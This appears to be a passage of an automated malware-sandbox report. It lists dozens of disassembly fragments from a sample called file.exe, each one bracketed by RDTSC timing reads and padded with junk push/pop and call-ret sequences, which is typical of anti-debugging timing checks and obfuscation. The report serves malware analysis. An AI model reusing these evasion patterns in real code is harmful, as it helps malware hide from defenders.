Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87575B second address: 8757FC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F00CD21E186h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 76E6D052h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F00CD21E188h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d mov di, dx 0x00000030 call 00007F00CD21E189h 0x00000035 jnl 00007F00CD21E199h 0x0000003b push eax 0x0000003c pushad 0x0000003d jmp 00007F00CD21E18Dh 0x00000042 pushad 0x00000043 jmp 00007F00CD21E191h 0x00000048 jmp 00007F00CD21E193h 0x0000004d popad 0x0000004e popad 0x0000004f mov eax, dword ptr [esp+04h] 0x00000053 push eax 0x00000054 push edx 0x00000055 jnp 00007F00CD21E18Ch 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8757FC second address: 875800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875982 second address: 875987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875987 second address: 8759B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c mov edi, dword ptr [ebp+122D1BF1h] 0x00000012 mov dword ptr [ebp+122D2D6Fh], esi 0x00000018 nop 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8759B5 second address: 8759C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875A8E second address: 875A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875A92 second address: 875AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E18Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875B43 second address: 875B4D instructions: 0x00000000 rdtsc 0x00000002 je 00007F00CCD814ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87614C second address: 876152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876152 second address: 876156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876156 second address: 8761C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E193h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+12477A7Dh], edx 0x00000014 push 0000001Eh 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F00CD21E188h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov dword ptr [ebp+122D25E5h], edx 0x00000036 mov dword ptr [ebp+122D35E1h], esi 0x0000003c nop 0x0000003d jmp 00007F00CD21E195h 0x00000042 push eax 0x00000043 push esi 0x00000044 pushad 0x00000045 pushad 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8764C8 second address: 8764EC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F00CCD814B5h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8764EC second address: 8764F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8764F1 second address: 8764F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8764F7 second address: 8764FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8764FB second address: 876516 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F00CCD814A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 jno 00007F00CCD814A6h 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876590 second address: 87659A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F00CD21E186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87659A second address: 8765DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sub dword ptr [ebp+12481147h], eax 0x00000011 lea eax, dword ptr [ebp+12498E26h] 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F00CCD814A8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 push eax 0x00000032 pushad 0x00000033 je 00007F00CCD814ACh 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8765DD second address: 876642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F00CD21E188h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F00CD21E188h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D3428h], ebx 0x00000030 mov dh, 6Eh 0x00000032 lea eax, dword ptr [ebp+12498DE2h] 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F00CD21E188h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000014h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 mov cl, bl 0x00000054 push eax 0x00000055 pushad 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876642 second address: 876646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876646 second address: 87664A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3CF6 second address: 8A3D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814AFh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F00CCD814AEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D1C second address: 8A3D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D26 second address: 8A3D49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CCD814B9h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3D49 second address: 8A3D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3EDC second address: 8A3EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3EE0 second address: 8A3EF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CD21E195h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41FE second address: 8A4203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4203 second address: 8A420A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC731 second address: 8AC735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC735 second address: 8AC73F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F00CD21E192h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC73F second address: 8AC745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC745 second address: 8AC75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F00CD21E18Ch 0x0000000a jbe 00007F00CD21E186h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB323 second address: 8AB327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABC66 second address: 8ABC6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABC6A second address: 8ABC7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABC7F second address: 8ABC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABC85 second address: 8ABCB5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F00CCD814B4h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007F00CCD814B4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC1FD second address: 8AC201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC5C2 second address: 8AC5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC5C7 second address: 8AC5E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F00CD21E194h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2525 second address: 8B2547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F00CCD814B8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2547 second address: 8B2552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2552 second address: 8B2558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2558 second address: 8B255E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B255E second address: 8B2567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B2567 second address: 8B2580 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F00CD21E192h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B66A5 second address: 8B66EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B4h 0x00000007 pushad 0x00000008 jmp 00007F00CCD814B6h 0x0000000d ja 00007F00CCD814A6h 0x00000013 jmp 00007F00CCD814B5h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6829 second address: 8B682F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B682F second address: 8B6845 instructions: 0x00000000 rdtsc 0x00000002 js 00007F00CCD814A6h 0x00000008 jmp 00007F00CCD814ACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6845 second address: 8B684A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6BA4 second address: 8B6BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6BA8 second address: 8B6BAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6CF3 second address: 8B6D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B1h 0x00000007 jne 00007F00CCD814A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6D12 second address: 8B6D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F00CD21E186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B626D second address: 8B6273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6FED second address: 8B702B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E191h 0x00000009 jmp 00007F00CD21E190h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F00CD21E196h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7133 second address: 8B7137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B72B1 second address: 8B72BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F00CD21E186h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B72BE second address: 8B72EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F00CCD814B9h 0x0000000e jmp 00007F00CCD814AFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B72EF second address: 8B7302 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F00CD21E18Eh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA279 second address: 8BA27D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA27D second address: 8BA2C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00CD21E197h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jno 00007F00CD21E186h 0x00000012 jnl 00007F00CD21E186h 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 pop eax 0x00000021 jmp 00007F00CD21E194h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA2C4 second address: 8BA2CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA2CE second address: 8BA2D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD529 second address: 8BD52D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCF39 second address: 8BCF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCF3D second address: 8BCF41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BCF41 second address: 8BCF47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD104 second address: 8BD10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD10D second address: 8BD113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD113 second address: 8BD117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD117 second address: 8BD134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F00CD21E190h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BD134 second address: 8BD14F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00CCD814B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1254 second address: 8C125A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C125A second address: 8C1260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1260 second address: 8C1265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C1265 second address: 8C126A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C126A second address: 8C1274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C095F second address: 8C0965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0965 second address: 8C096B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C096B second address: 8C0991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop edx 0x00000009 jmp 00007F00CCD814B7h 0x0000000e popad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0991 second address: 8C0997 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0C5C second address: 8C0C62 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0C62 second address: 8C0C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0C68 second address: 8C0C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00CCD814AFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0C7B second address: 8C0CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007F00CD21E199h 0x0000000f jmp 00007F00CD21E199h 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C0CBC second address: 8C0CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C690F second address: 8C6913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6913 second address: 8C6927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F00CCD814A6h 0x0000000e jo 00007F00CCD814A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6927 second address: 8C6958 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F00CD21E18Ah 0x0000000b jbe 00007F00CD21E188h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F00CD21E196h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C6958 second address: 8C6977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F00CCD814AFh 0x00000008 jbe 00007F00CCD814A6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5101 second address: 8C510D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007F00CD21E186h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
